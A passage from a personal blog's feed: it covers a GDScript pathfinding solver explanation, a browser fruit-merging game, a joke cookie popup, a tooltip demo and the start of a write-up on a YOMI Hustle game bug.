	<span class="n">process_neighbors</span><span class="p">(</span><span class="n">current</span><span class="p">)</span>

	<span class="n">emit_signal</span><span class="p">(</span><span class="s2">"open_closed_updated"</span><span class="p">,</span> <span class="n">open_set</span><span class="p">,</span> <span class="n">closed_set</span><span class="p">)</span>
	<span class="k">return</span> <span class="bp">false</span>
</code></pre></div></div>

<p><strong>step_solver — single-step driver</strong></p>

<ul>
  <li>This is the main per-frame / per-tick method. Returns <code class="language-plaintext highlighter-rouge">true</code> if the algorithm is finished.</li>
  <li>
    <p>Behavior:</p>

    <ol>
      <li>If <code class="language-plaintext highlighter-rouge">path_computed</code> is already true or <code class="language-plaintext highlighter-rouge">open_set</code> is empty (no path), mark done and return <code class="language-plaintext highlighter-rouge">true</code>.</li>
      <li>Choose the next node to process by calling <code class="language-plaintext highlighter-rouge">pick_next_node()</code> (overridable).</li>
      <li>If <code class="language-plaintext highlighter-rouge">current</code> is the <code class="language-plaintext highlighter-rouge">goal_id</code>, reconstruct the path and finish.</li>
      <li>Move the current node from <code class="language-plaintext highlighter-rouge">open_set</code> to <code class="language-plaintext highlighter-rouge">closed_set</code>.</li>
      <li><code class="language-plaintext highlighter-rouge">process_neighbors(current)</code> — relax neighbor edges and update scores.</li>
      <li>Emit <code class="language-plaintext highlighter-rouge">open_closed_updated</code> so the UI sees the latest open/closed sets.</li>
      <li>Return <code class="language-plaintext highlighter-rouge">false</code> (not done) so caller can continue stepping.</li>
    </ol>
  </li>
</ul>

<p>This design makes it easy to run one solver step per frame to visualize progress.</p>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">pick_next_node</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="kt">int</span><span class="p">:</span>
	<span class="k">return</span> <span class="n">open_set</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</code></pre></div></div>

<p><strong>pick_next_node (base)</strong></p>

<ul>
  <li>Default chooses the first element of <code class="language-plaintext highlighter-rouge">open_set</code>.</li>
  <li>Subclasses (like A*) override this to pick the node with smallest <code class="language-plaintext highlighter-rouge">f_score</code>.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">move_current_to_closed</span><span class="p">(</span><span class="n">current</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="n">open_set</span><span class="o">.</span><span class="n">erase</span><span class="p">(</span><span class="n">current</span><span class="p">)</span>
	<span class="n">closed_set</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">current</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>move_current_to_closed</strong></p>

<ul>
  <li>Removes <code class="language-plaintext highlighter-rouge">current</code> from <code class="language-plaintext highlighter-rouge">open_set</code> and appends it to <code class="language-plaintext highlighter-rouge">closed_set</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">open_set.erase(current)</code> removes only the first occurrence — fine if each node appears once.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">process_neighbors</span><span class="p">(</span><span class="n">current</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="k">for</span> <span class="n">neighbor</span> <span class="ow">in</span> <span class="n">astar</span><span class="o">.</span><span class="n">get_point_connections</span><span class="p">(</span><span class="n">current</span><span class="p">):</span>
		<span class="k">if</span> <span class="n">neighbor</span> <span class="ow">in</span> <span class="n">closed_set</span><span class="p">:</span>
			<span class="k">continue</span>
		<span class="k">var</span> <span class="n">tentative_g</span> <span class="o">=</span> <span class="n">g_score</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="mi">999999</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
		<span class="k">if</span> <span class="n">neighbor</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">open_set</span><span class="p">:</span>
			<span class="n">open_set</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">neighbor</span><span class="p">)</span>
		<span class="k">elif</span> <span class="n">tentative_g</span> <span class="o">&gt;=</span> <span class="n">g_score</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">neighbor</span><span class="p">,</span> <span class="mi">999999</span><span class="p">):</span>
			<span class="k">continue</span>
		<span class="n">came_from</span><span class="p">[</span><span class="n">neighbor</span><span class="p">]</span> <span class="o">=</span> <span class="n">current</span>
		<span class="n">g_score</span><span class="p">[</span><span class="n">neighbor</span><span class="p">]</span> <span class="o">=</span> <span class="n">tentative_g</span>
		<span class="n">f_score</span><span class="p">[</span><span class="n">neighbor</span><span class="p">]</span> <span class="o">=</span> <span class="n">tentative_g</span> <span class="o">+</span> <span class="n">get_heuristic</span><span class="p">(</span><span class="n">neighbor</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>process_neighbors — relaxing edges</strong></p>

<ul>
  <li>
    <p>For each neighbor of <code class="language-plaintext highlighter-rouge">current</code> (via <code class="language-plaintext highlighter-rouge">astar.get_point_connections(current)</code>):</p>

    <ul>
      <li>Skip if neighbor is in <code class="language-plaintext highlighter-rouge">closed_set</code>.</li>
      <li><code class="language-plaintext highlighter-rouge">tentative_g</code> = <code class="language-plaintext highlighter-rouge">g_score[current] + 1</code>. The <code class="language-plaintext highlighter-rouge">+1</code> assumes uniform cost between adjacent cells.</li>
      <li>If neighbor not in <code class="language-plaintext highlighter-rouge">open_set</code>, add it (discover the node).</li>
      <li>If the new <code class="language-plaintext highlighter-rouge">tentative_g</code> is not better than the neighbor’s current <code class="language-plaintext highlighter-rouge">g_score</code>, skip.</li>
      <li>
        <p>Otherwise:</p>

        <ul>
          <li>Set <code class="language-plaintext highlighter-rouge">came_from[neighbor] = current</code> to record path.</li>
          <li>Update <code class="language-plaintext highlighter-rouge">g_score[neighbor]</code>.</li>
          <li>Update <code class="language-plaintext highlighter-rouge">f_score[neighbor] = g + heuristic(neighbor)</code>.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>
    <p>Notes:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">g_score.get(..., 999999)</code> uses <code class="language-plaintext highlighter-rouge">999999</code> as a stand-in for infinity.</li>
      <li>This is standard A*/Dijkstra relaxation logic. If <code class="language-plaintext highlighter-rouge">get_heuristic</code> returns 0, algorithm behaves like Dijkstra.</li>
    </ul>
  </li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">get_heuristic</span><span class="p">(</span><span class="n">id</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">int</span><span class="p">:</span>
	<span class="k">return</span> <span class="mi">0</span>  <span class="c1"># default Dijkstra/BFS has no heuristic</span>
</code></pre></div></div>

<p><strong>get_heuristic</strong></p>

<ul>
  <li>Base implementation returns <code class="language-plaintext highlighter-rouge">0</code> so base <code class="language-plaintext highlighter-rouge">Solver</code> is effectively Dijkstra (no heuristic).</li>
  <li>Subclasses override to provide heuristic estimates (e.g., Manhattan distance).</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">reconstruct_path</span><span class="p">(</span><span class="n">current</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="k">var</span> <span class="n">temp</span> <span class="p">:</span><span class="o">=</span> <span class="n">current</span>
	<span class="k">var</span> <span class="n">id_path</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[</span><span class="n">temp</span><span class="p">]</span>
	<span class="k">while</span> <span class="n">came_from</span><span class="o">.</span><span class="n">has</span><span class="p">(</span><span class="n">temp</span><span class="p">):</span>
		<span class="n">temp</span> <span class="o">=</span> <span class="n">came_from</span><span class="p">[</span><span class="n">temp</span><span class="p">]</span>
		<span class="n">id_path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">temp</span><span class="p">)</span>

	<span class="k">var</span> <span class="n">path_vec</span><span class="p">:</span> <span class="kt">Array</span> <span class="o">=</span> <span class="p">[]</span>
	<span class="k">for</span> <span class="n">id</span> <span class="ow">in</span> <span class="n">id_path</span><span class="p">:</span>
		<span class="k">var</span> <span class="n">v</span> <span class="p">:</span><span class="o">=</span> <span class="n">astar</span><span class="o">.</span><span class="n">get_point_position</span><span class="p">(</span><span class="n">id</span><span class="p">)</span>
		<span class="n">path_vec</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">Vector2i</span><span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="n">v</span><span class="o">.</span><span class="n">x</span><span class="p">),</span> <span class="kt">int</span><span class="p">(</span><span class="n">v</span><span class="o">.</span><span class="n">y</span><span class="p">)))</span>
	<span class="n">current_path</span> <span class="o">=</span> <span class="n">path_vec</span>
	<span class="n">emit_signal</span><span class="p">(</span><span class="s2">"path_updated"</span><span class="p">,</span> <span class="n">current_path</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>reconstruct_path</strong></p>

<ul>
  <li>Walks backward from <code class="language-plaintext highlighter-rouge">current</code> (goal) to start using <code class="language-plaintext highlighter-rouge">came_from</code>.</li>
  <li>Builds <code class="language-plaintext highlighter-rouge">id_path</code> in reverse then converts each node ID back to <code class="language-plaintext highlighter-rouge">Vector2i</code> using <code class="language-plaintext highlighter-rouge">astar.get_point_position(id)</code>.</li>
  <li>Stores the resulting <code class="language-plaintext highlighter-rouge">current_path</code> and emits <code class="language-plaintext highlighter-rouge">path_updated</code> so visuals can render the full route.</li>
</ul>

<hr />

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="nf">get_current_path</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="kt">Array</span><span class="p">:</span>
	<span class="k">return</span> <span class="n">current_path</span>
</code></pre></div></div>

<p><strong>getter</strong></p>

<ul>
  <li>Returns the computed path (array of <code class="language-plaintext highlighter-rouge">Vector2i</code>) for external code to read.</li>
</ul>

<hr />

<h2 id="astar-subclass">AStar subclass</h2>

<div class="language-gdscript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">extends</span> <span class="n">Solver</span>
<span class="k">class_name</span> <span class="n">AStarSolver</span>

<span class="k">func</span> <span class="nf">get_heuristic</span><span class="p">(</span><span class="n">id</span><span class="p">:</span> <span class="kt">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">int</span><span class="p">:</span>
	<span class="k">var</span> <span class="n">pos</span> <span class="p">:</span><span class="o">=</span> <span class="n">astar</span><span class="o">.</span><span class="n">get_point_position</span><span class="p">(</span><span class="n">id</span><span class="p">)</span>
	<span class="k">var</span> <span class="n">goal_pos</span> <span class="p">:</span><span class="o">=</span> <span class="n">astar</span><span class="o">.</span><span class="n">get_point_position</span><span class="p">(</span><span class="n">goal_id</span><span class="p">)</span>
	<span class="k">return</span> <span class="kt">int</span><span class="p">(</span><span class="nb">abs</span><span class="p">(</span><span class="n">pos</span><span class="o">.</span><span class="n">x</span> <span class="o">-</span> <span class="n">goal_pos</span><span class="o">.</span><span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="nb">abs</span><span class="p">(</span><span class="n">pos</span><span class="o">.</span><span class="n">y</span> <span class="o">-</span> <span class="n">goal_pos</span><span class="o">.</span><span class="n">y</span><span class="p">))</span>  <span class="c1"># Manhattan</span>

<span class="k">func</span> <span class="nf">pick_next_node</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="kt">int</span><span class="p">:</span>
	<span class="k">var</span> <span class="n">best</span> <span class="o">=</span> <span class="n">open_set</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
	<span class="k">for</span> <span class="n">id</span> <span class="ow">in</span> <span class="n">open_set</span><span class="p">:</span>
		<span class="k">if</span> <span class="n">f_score</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="mi">999999</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">f_score</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">best</span><span class="p">,</span> <span class="mi">999999</span><span class="p">):</span>
			<span class="n">best</span> <span class="o">=</span> <span class="n">id</span>
	<span class="k">return</span> <span class="n">best</span>

<span class="k">func</span> <span class="nf">initialize_open_set</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="n">void</span><span class="p">:</span>
	<span class="n">open_set</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">start_id</span><span class="p">)</span>
	<span class="n">g_score</span><span class="p">[</span><span class="n">start_id</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="n">f_score</span><span class="p">[</span><span class="n">start_id</span><span class="p">]</span> <span class="o">=</span> <span class="n">get_heuristic</span><span class="p">(</span><span class="n">start_id</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>What AStarSolver changes</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">get_heuristic</code>: returns Manhattan distance between node and goal (<code class="language-plaintext highlighter-rouge">|dx| + |dy|</code>). Good for 4-way grid movement.</li>
  <li><code class="language-plaintext highlighter-rouge">pick_next_node</code>: scans <code class="language-plaintext highlighter-rouge">open_set</code> and returns the node with smallest <code class="language-plaintext highlighter-rouge">f_score</code>. (Because <code class="language-plaintext highlighter-rouge">open_set</code> is a plain array, this is <code class="language-plaintext highlighter-rouge">O(n)</code> per pick. Performance can be improved with a binary heap.)</li>
  <li><code class="language-plaintext highlighter-rouge">initialize_open_set</code>: seeds the algorithm by adding <code class="language-plaintext highlighter-rouge">start_id</code> to <code class="language-plaintext highlighter-rouge">open_set</code>, setting <code class="language-plaintext highlighter-rouge">g_score[start] = 0</code>, and <code class="language-plaintext highlighter-rouge">f_score[start] = heuristic(start)</code>.</li>
</ul>

<h2 id="dijkstras">Dijkstra’s</h2>
<p><span class="tooltip" data-tooltip="Edsger W. Dijkstra (pronounced dike-struh) was a Dutch computer scientist. According to Wikipedia, he won the Turing award in 1972 for his advocacy of structured programming, a programming paradigm that makes use of structured control flow as opposed to unstructured jumps to different sections in a program using Goto statements.">Dijkstra</span>’s Algorithm solves the single-source shortest path problem on graphs with non-negative edge <span class="tooltip" data-tooltip="Numerical costs per edge.">weights</span>
. It does so by repeatedly selecting the node with the smallest tentative distance and “relaxing” its neighbours.</p>

<ol>
  <li>
    <p>Distance relaxation updates the estimated distance to a node.
This iterative refinement is essentially <span class="tooltip" data-tooltip="DP breaks a problem down into multiple recursive subproblems, then uses the solutions to each subproblem in order to find the solution to the larger problem. Common examples include fibonacci and knapsack.">dynamic programming</span>: each update narrows the gap between the tentative and true shortest path values.</p>
  </li>
  <li>
    <p>The algorithm is correct because once a node is extracted from the priority queue, its tentative distance is guaranteed to be the true shortest distance. That happens because all edge weights are non-negative, so no later path can “shortcut” back to this node.
This property fails if negative edges exist, which explains why Dijkstra cannot handle them.</p>
  </li>
  <li>
    <p>Special case: unweighted grids
In an unweighted maze, every edge has weight of 1, which simplifies Dijkstra to:</p>

    <ul>
      <li>
        <p>Equivalent to BFS</p>
      </li>
      <li>
        <p>Expands nodes in concentric layers</p>
      </li>
      <li>
        <p>Uses a queue instead of a priority queue</p>
      </li>
    </ul>
  </li>
</ol>

<p>Thus, Dijkstra’s behaviour becomes mathematically predictable and symmetric. This is because A* reduces to Dijkstra when h(n)=0. In other words, Dijkstra = A with no heuristic. This mathematical relationship shows how closely the two algorithms are connected.</p>

<h2 id="reflections">Reflections</h2>

<p>This project deepened my appreciation for how relatively simple mathematical ideas can power complex systems like traffic routing, public transport scheduling, and even evacuation planning, which use the same principles of graph modelling and shortest-path optimisation. In robotics, pathfinding must be combined with obstacle avoidance and sensor uncertainty; the algorithms I studied are the foundation for those higher-level systems.</p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[SIL - Exploring Mazes and Pathfinding - Graph Theory and Shortest Path Algorithms]]></summary></entry><entry><title type="html">fruit game</title><link href="https://aidanvoidout.github.io/suika/" rel="alternate" type="text/html" title="fruit game" /><published>2025-10-30T10:29:20+08:00</published><updated>2025-10-30T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/suika</id><content type="html" xml:base="https://aidanvoidout.github.io/suika/"><![CDATA[<style>
  body {
    margin: 0;
    background: black;
    display: flex;
    flex-direction: column;
    align-items: center;
    color: white;
    font-family: Arial, sans-serif;
  }
  canvas {
    background: white;
    border: 4px solid #333;
    border-radius: 10px;
    margin-top: 20px;
  }
  #score {
    font-size: 20px;
    margin-top: 10px;
  }
  #lost {
    font-size: 28px;
    color: red;
    margin-top: 10px;
    display: none;
  }
  #nextFruit {
    font-size: 18px;
    margin-top: 10px;
    display: flex;
    align-items: center;
  }
</style>

<p>&lt;/head&gt;</p>
<body>
<h1>Fruit Game</h1>
<div id="score">Score: 0</div>
<div id="lost">You Lost! Restarting...</div>
<div id="nextFruit">Next: <canvas id="nextFruitCanvas" width="50" height="50"></canvas></div>
<canvas id="gameCanvas" width="400" height="600"></canvas>

<script>
  const canvas = document.getElementById('gameCanvas');
  const ctx = canvas.getContext('2d');
  const nextCanvas = document.getElementById('nextFruitCanvas');
  const nextCtx = nextCanvas.getContext('2d');

  const GRAVITY = 0.1;
  const SPAWN_DELAY = 500; // ms
  const LOSS_LINE = 120; // y position

  const FRUITS = [
    { r: 24, color: 'brown'},
    { r: 31.5, color: 'red' },
    { r: 40.5, color: 'orange' },
    { r: 51, color: 'yellow' },
    { r: 63, color: 'green' },
    { r: 76.5, color: 'purple'},
    { r: 91.5, color: 'cyan'},
    { r: 108, color: 'blue'},
    { r: 127.5, color: 'pink'}
  ];

  let lastSpawnTime = 0;
  let nextFruitIndex = Math.floor(Math.random() * 4);
  let currentFruit = createFruit();
  let fruits = [];
  let score = 0;
  let lost = false;

  function resetGame() {
    fruits = [];
    score = 0;
    lost = false;
    document.getElementById('score').textContent = 'Score: 0';
    document.getElementById('lost').style.display = 'none';
    nextFruitIndex = Math.floor(Math.random() * 4);
    currentFruit = createFruit();
    drawNextFruit();
  }

  function randomIntFromInterval(min, max) {
      return Math.floor(Math.random() * (max - min + 1) + min);
  }

  function createFruit() {
    const f = FRUITS[nextFruitIndex];
    nextFruitIndex = Math.floor(Math.random() * 4); // pick next
    drawNextFruit();
    return {
      x: canvas.width / 2,
      y: LOSS_LINE + f.r + 10,
      r: f.r,
      color: f.color,
      vx: 0,
      vy: 0,
      merged: false
    };
  }

  function drawNextFruit() {
    nextCtx.clearRect(0, 0, nextCanvas.width, nextCanvas.height);
    const f = FRUITS[nextFruitIndex];
    nextCtx.beginPath();
    nextCtx.arc(nextCanvas.width/2, nextCanvas.height/2, f.r, 0, Math.PI*2);
    nextCtx.fillStyle = f.color;
    nextCtx.fill();
  }

  canvas.addEventListener('mousemove', (e) => {
    const rect = canvas.getBoundingClientRect();
    currentFruit.x = e.clientX - rect.left;
  });

  canvas.addEventListener('click', () => {
    if (lost) return;
    const now = Date.now();
    if (now - lastSpawnTime < SPAWN_DELAY) return;
    lastSpawnTime = now;

    const copy = typeof structuredClone === 'function' ? structuredClone(currentFruit) : { ...currentFruit };
    fruits.push(copy);
    currentFruit = createFruit();
  });

  function update() {
    if (lost) return;

    fruits.forEach((f) => {
      f.vy += GRAVITY;
      f.y += f.vy;
      f.x += f.vx;

      if (f.y + f.r > canvas.height) {
        f.y = canvas.height - f.r;
        f.vy *= -0.4;
        f.vx *= 0.98;
      }

      if (f.x - f.r < 0) {
        f.x = f.r;
        f.vx *= -0.4;
      }

      if (f.x + f.r > canvas.width) {
        f.x = canvas.width - f.r;
        f.vx *= -0.4;
      }
    });

    resolveCollisions();
    checkMerge();
    checkLoss();
  }

  function resolveCollisions() {
    for (let i = 0; i < fruits.length; i++) {
      for (let j = i + 1; j < fruits.length; j++) {
        const a = fruits[i];
        const b = fruits[j];
        const dx = b.x - a.x;
        const dy = b.y - a.y;
        const dist = Math.hypot(dx, dy) || 0.0001;
        const minDist = a.r + b.r;

        if (dist < minDist) {
          const overlap = minDist - dist;
          const nx = dx / dist;
          const ny = dy / dist;

          a.x -= nx * overlap / 2;
          a.y -= ny * overlap / 2;
          b.x += nx * overlap / 2;
          b.y += ny * overlap / 2;

          const relVelX = b.vx - a.vx;
          const relVelY = b.vy - a.vy;
          const dot = relVelX * nx + relVelY * ny;

          if (dot < 0) {
            const bounce = -dot * 0.8;
            a.vx -= nx * bounce;
            a.vy -= ny * bounce;
            b.vx += nx * bounce;
            b.vy += ny * bounce;
          }
        }
      }
    }
  }

  function checkMerge() {
    for (let i = 0; i < fruits.length; i++) {
      for (let j = i + 1; j < fruits.length; j++) {
        const a = fruits[i];
        const b = fruits[j];
        const dist = Math.hypot(a.x - b.x, a.y - b.y);
        const mergeDist = (a.r + b.r) * 1.1;

        if (dist < mergeDist && a.color === b.color && !a.merged && !b.merged) {
          a.merged = b.merged = true;
          const nextIndex = FRUITS.findIndex(fr => fr.r === a.r) + 1;

          if (nextIndex < FRUITS.length) {
            const bigger = FRUITS[nextIndex];
            fruits.push({
              x: (a.x + b.x) / 2,
              y: (a.y + b.y) / 2,
              r: bigger.r,
              color: bigger.color,
              vx: 0,
              vy: 0,
              merged: false
            });
            // award points proportional to new fruit size
            score += Math.floor(bigger.r / 2);
          } else {
            score += 50; // bonus for max fruit
          }

          document.getElementById('score').textContent = 'Score: ' + score;
          fruits = fruits.filter(f => !f.merged);
          i = -1;
          break;
        }
      }
    }
  }

  function checkLoss() {
    for (const f of fruits) {
      if (f.y - f.r < LOSS_LINE) {
        lost = true;
        document.getElementById('lost').style.display = 'block';
        setTimeout(resetGame, 1500);
        return;
      }
    }
  }

  function draw() {
    ctx.clearRect(0, 0, canvas.width, canvas.height);

    ctx.strokeStyle = 'red';
    ctx.beginPath();
    ctx.moveTo(0, LOSS_LINE);
    ctx.lineTo(canvas.width, LOSS_LINE);
    ctx.stroke();

    fruits.forEach(f => {
      ctx.beginPath();
      ctx.arc(f.x, f.y, f.r, 0, Math.PI * 2);
      ctx.fillStyle = f.color;
      ctx.fill();
    });

    ctx.beginPath();
    ctx.arc(currentFruit.x, currentFruit.y, currentFruit.r, 0, Math.PI * 2);
    ctx.fillStyle = currentFruit.color;
    ctx.globalAlpha = 0.6;
    ctx.fill();
    ctx.globalAlpha = 1;
  }

  function loop() {
    update();
    draw();
    requestAnimationFrame(loop);
  }

  currentFruit.x = canvas.width / 2;
  currentFruit.y = LOSS_LINE + currentFruit.r + 10;
  drawNextFruit();

  loop();
</script>
</body>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[&lt;/head&gt; Fruit Game Score: 0 You Lost! Restarting... Next:]]></summary></entry><entry><title type="html">no cookies</title><link href="https://aidanvoidout.github.io/no-cookies/" rel="alternate" type="text/html" title="no cookies" /><published>2025-10-15T10:29:20+08:00</published><updated>2025-10-15T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/no-cookies</id><content type="html" xml:base="https://aidanvoidout.github.io/no-cookies/"><![CDATA[<style>
  #nocookie-overlay {
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.4);
    backdrop-filter: blur(3px);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 9998;
  }

  #nocookie-popup {
    background: #222;
    color: white;
    padding: 20px 25px;
    border: 2px solid #555;
    border-radius: 6px;
    box-shadow: 0 4px 15px rgba(0,0,0,0.4);
    font-family: sans-serif;
    z-index: 9999;
    max-width: 300px;
    text-align: center;
  }

  #nocookie-popup button {
    background: #444;
    color: white;
    border: none;
    padding: 8px 14px;
    border-radius: 4px;
    cursor: pointer;
    margin-top: 12px;
    font-size: 0.9em;
  }

  #nocookie-popup button:hover {
    background: #666;
  }

  .blurred {
    filter: blur(6px);
    transition: filter 0.3s ease;
  }
</style>

<div id="site-content">
  <p>Hi, this site doesn't use cookies. Don't worry about it.</p>
  <p>Inspired by <a href="https://www.reddit.com/r/ProgrammerHumor/comments/l5gg3t/this_website_doesnt_use_cookies/">this comic </a></p>
</div>

<div id="nocookie-overlay">
  <div id="nocookie-popup">
    <p>This site doesn’t use cookies.</p>
    <button id="dismiss">Don’t show again</button>
  </div>
</div>

<script>
  const siteContent = document.getElementById('site-content');
  siteContent.classList.add('blurred');

  document.getElementById('dismiss').addEventListener('click', () => {
    document.getElementById('nocookie-overlay').remove();
    siteContent.classList.remove('blurred');
  });
</script>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">tooltips</title><link href="https://aidanvoidout.github.io/tooltips/" rel="alternate" type="text/html" title="tooltips" /><published>2025-10-07T10:29:20+08:00</published><updated>2025-10-07T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/tooltips</id><content type="html" xml:base="https://aidanvoidout.github.io/tooltips/"><![CDATA[<p>Today, i made a tooltip system. Some existing posts will be updated to use it.</p>

<p>
  This is a <span class="hover-flip" data-alt="secret message">normal message</span>.
</p>

<p>
  Hover over <span class="tooltip" data-tooltip="&lt;img src='/theme/icons/chika-chika-dance.gif' width='100'&gt;&lt;br&gt;&lt;p&gt;here's some test text&lt;/p&gt;">this</span> to see a tooltip.
</p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[Today, i made a tooltip system. Some existing posts will be updated to use it.]]></summary></entry><entry><title type="html">fresh milk</title><link href="https://aidanvoidout.github.io/fresh-milk/" rel="alternate" type="text/html" title="fresh milk" /><published>2025-10-01T10:29:20+08:00</published><updated>2025-10-01T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/fresh-milk</id><content type="html" xml:base="https://aidanvoidout.github.io/fresh-milk/"><![CDATA[<p>Your Only Move Is Hustle (YOMI Hustle) is a turn-based fighting game that takes the usual turn-based formula (a la Pokemon) and flips it on its head. Users can pick from a pool of available moves from their current position, and they are executed at the same time, sort of like a convoluted game of rock-paper-scissors. The game freezes on the frame when at least one combatant becomes actionable, and allows for actions to be made again.</p>

<p>Again, Yomi is a turn-based fighting game. A game in which strategy and decision making comes before reaction time and techs.</p>

<p>Today, I talk about Fresh Milk, the bug that involves the only frame-perfect input in the game.</p>

<p>Content essentially paraphrased from:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/-TQn8ZsN8Dc?si=gnnCALI_DCD5VIdl" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<h2 id="cowboy">Cowboy</h2>

<p>At launch, Cowboy was a monster. Cowboy is armed with a sword, gun and lasso, and possessed 1f instant teleports, being able to deal effective damage at close range, grapple at medium range and shoot at long range, as well as catch up to his opponent really quickly. Horizontal slash was a fast forward attack that outspeeds and outranges many attacks in the game. But patch after patch chipped away at him: his teleports were weakened, his ranged tools nerfed, and his damage output fell behind characters like Wizard, Ninja, and Robot.</p>

<p>Cowboy’s samurai–cowboy aesthetic kept him popular with fans, but competitively he sank to the bottom of the tier list. He was too predictable, too rigid, and lacked explosive options to keep pace with the evolving meta.</p>

<p>That all changed with the introduction of Foresight—a new mechanic meant to fix Cowboy’s movement. Instead, it opened the door to one of the most infamous exploits in fighting game history.</p>

<h2 id="foresight">Foresight</h2>

<p>Foresight was a mechanic that limited Cowboy’s instant teleports and made it more balanced. Foresight allows you to place an afterimage on action. On future turns, you are allowed to Shift to the afterimage, letting you teleport to it after a few frames of delay. Moreover, since Shift was an additional toggle on top of your current selected action, it made it possible to gap close to an enemy and launch an attack on the same frame. Functionally, it’s Flying Raijin from Naruto.</p>

<p>Even better, you can trigger Rift on the foresight afterimage, causing it to explode. Foresight basically lets you zone out an area, keeping your opponent wary of the afterimage. After all, with Cowboy’s strong grounded neutrals, Foresight threatens not only the area that you’re at, but also the area around your Foresight.</p>

<p>Teleporting in games is a funny thing. When you shift from, say, air to ground, it wouldn’t be right to shift with an air move while you reach the ground, right? Essentially, Ivy had it prepared that when a Foresight afterimage was placed on the ground, the moves on the player’s UI would toggle to the ground moves, preventing you from using air- or ground-exclusive moves when not in the correct state.</p>

<p>MilkMannerism was a labber that played on the beta branch of Yomi, looking to discover new tech. For example, Foresight preserves your momentum when you shift to it. If you set up with a quick mobility option then shift to a Foresight afterimage, you will appear at the afterimage with the same momentum that you had before, while allowing you to execute different moves at the same time. This greatly extended Cowboy’s effective attack range.</p>

<p>However, MilkMannerism, when testing, tried to place another Foresight afterimage after the initial shift. Now, Foresight has limits on how far from the user the afterimage can be placed; normally, it’s a set radius. When the user gets too far away from the afterimage, the afterimage will explode (to prevent users from going across the map to stall). What MilkMannerism realised was that even when the afterimage was exploding, if it was placed on the ground, the player’s UI would do the ground-air UI shift. But what if you shifted to an afterimage that was already set to explode? MilkMannerism tested it, and found that upon shifting, the player remained in the air, and was even able to execute grounded moves while in the air, effectively bypassing the UI toggle check.</p>

<p>Because you were only able to use the tech when the foresight was expiring, and since it was discovered by MilkMannerism, the tech was coined “Expired Milk”.</p>

<h2 id="expired-milk">Expired Milk</h2>

